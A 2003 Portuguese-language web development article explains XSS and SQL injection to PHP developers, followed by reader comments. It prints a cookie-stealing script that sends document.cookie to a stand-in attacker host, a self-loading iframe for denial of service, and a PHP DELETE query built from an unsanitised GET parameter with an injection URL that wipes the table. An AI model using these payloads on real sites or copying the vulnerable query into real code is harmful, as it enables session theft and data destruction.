0

XSS - Cross Site Scripting

criado por Luciano Rodrigues Furtado em 07/04/2003 7:37pm
O XSS ocorre quando uma aplicação Web aceita dados maliciosos do usuário. Em geral o intruso irá se aproveitar da falta de malícia da pessoa que desenvolveu a aplicação Web para injetar JavaScript, ActiveX, etc para enganar a aplicação ou para coletar informações de outros usuarios que estão utlizando a mesma. Já a tática do SQL Injection como o próprio nome diz é a injeção de código SQL em variáveis passadas aos formulários e tem como objetivo executar código SQL arbitrário no banco de dados da aplicação Web.

Algumas maneiras de como o XSS pode acontecer:

1) O intruso pode sequestrar a session de outro usuário com um código JavaScript relativamente simples como este:

<iframe name="teste" id="teste" height="0" width="0"></iframe>
<script language="JavaScript">
<!--
document.getElementById('teste').src = 'http://intruso.com.br/sequestar.php?cookies=' + document.cookie;
//-->
</script>

que submete todos os cookies de um determinado usuário do sistema para o intruso.

2) o intruso pode também injetar código HTML malicioso com o objetivo de realizar ataques do tipo DoS ao seu site como este que segue abaixo, supondo que a página sendo atacada se chama teste.php

<iframe src="teste.php" height="1" width="1"></iframe>

Como você provavelmente pode perceber, o IFRAME irá tentar abrir o próprio script teste.php, e esse teste.php terá o IFRAME novamente, e por aí vai. Um loop infinito na Web ;)

3) SQL Injection é um ataque muito comum e extremamente perigoso, suponha o seguinte script chamado remover.php:

<?php
$sql = "DELETE FROM cliente WHERE codigo=" . $_GET['codigo'];
mysql_query($sql) or die(mysql_error());
?>

Advinhe agora o que acontece se o usuário tenta acessar a seguinte URL:

http://seuhost.com.br/remover.php?codigo=666+OR+1;

Não precisa advinhar - eu te falo: a sua tabela de clientes seria detonada portanto cuidado!

Comentários:

Mostrando 1 - 7 de 7 comentários
addslashes num resolveria o problema?
depois colocando stripslashes para voltar...

abraços,
Rafael
30/04/2003 12:19pm (~13 anos atrás)

Otimo, eu tinha duvidas sobre o assunto, vc matou elas a pau cara. brigadao
21/04/2003 7:58pm (~13 anos atrás)

... disse:
muito bom o artigo. realmete o sql injection nao é muito provavel, mas pode sim ser utilizado para acabar com um banco de dados.

mesmo assim, o que se deve ter mais cuidado é o sequesto de cookies, porque isto pode levar uma pessoa a acessar a administração de um site, por exemplo, e aí sim acabar com o site!
17/04/2003 9:07pm (~13 anos atrás)

Cara gostei mto do artigo
o programador acima de bom , tem que ser esperto, malicioso, pensar em todo tipo de pessoa que vai acessar o seu site
nunca se sabe com que tipo de pessoa se depara na internet
11/04/2003 6:19pm (~13 anos atrás)

Newton Wagner disse:
Esclareceu sim!! :). muito obrigado!


10/04/2003 9:13am (~13 anos atrás)

Se uma pessoa alimenta o seu banco de dados e os dados que tem no seu banco de dados vão para web, ele pode por o iframe e fazer com que sua página entre em loop infinito.

Espero ter sido mais claro.

[]s
10/04/2003 6:24am (~13 anos atrás)

Newton Wagner disse:
Muito interessante a matéria, mas não ficou claro pra mim como esses iframes são adicionados à minha página. (como dito no 1º exemplo).
08/04/2003 7:53am (~13 anos atrás)

Novo Comentário:

(Você pode usar tags como <b>, <i> ou <code>. URLs serão convertidas para links automaticamente.)